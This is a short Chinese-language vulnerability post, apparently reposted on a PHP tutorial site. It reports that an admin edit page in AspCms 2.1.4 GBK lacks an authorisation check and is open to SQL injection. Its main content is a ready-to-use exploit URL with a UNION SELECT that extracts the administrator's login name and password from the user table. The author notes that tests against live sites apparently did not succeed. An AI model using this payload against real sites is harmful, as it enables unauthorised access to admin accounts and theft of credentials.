来源：自学PHP网 时间：2015-04-17 14:47 作者： 阅读:次
[导读] 流浪的风下载：http://www.2cto.com/ym/201108/29078.html程序:aspcms2.1.4 GBK版其他版本详细测试，貌似是只存在这个版本admin/_content/_About/AspCms_AboutEdit.asp未验证权限，且存在注入漏洞利用EXP：admi....
|
流浪的风
程序:aspcms2.1.4 GBK版
其他版本详细测试，貌似是只存在这个版本
admin/_content/_About/AspCms_AboutEdit.asp
未验证权限，且存在注入漏洞
利用EXP：
admin/_content/_About/AspCms_AboutEdit.asp?id=19 and 1=2 union select 1,2,3,4,5,loginname,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from aspcms_user where userid=1
如图
刚刚google了下，貌似在网上测试没成功。。。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
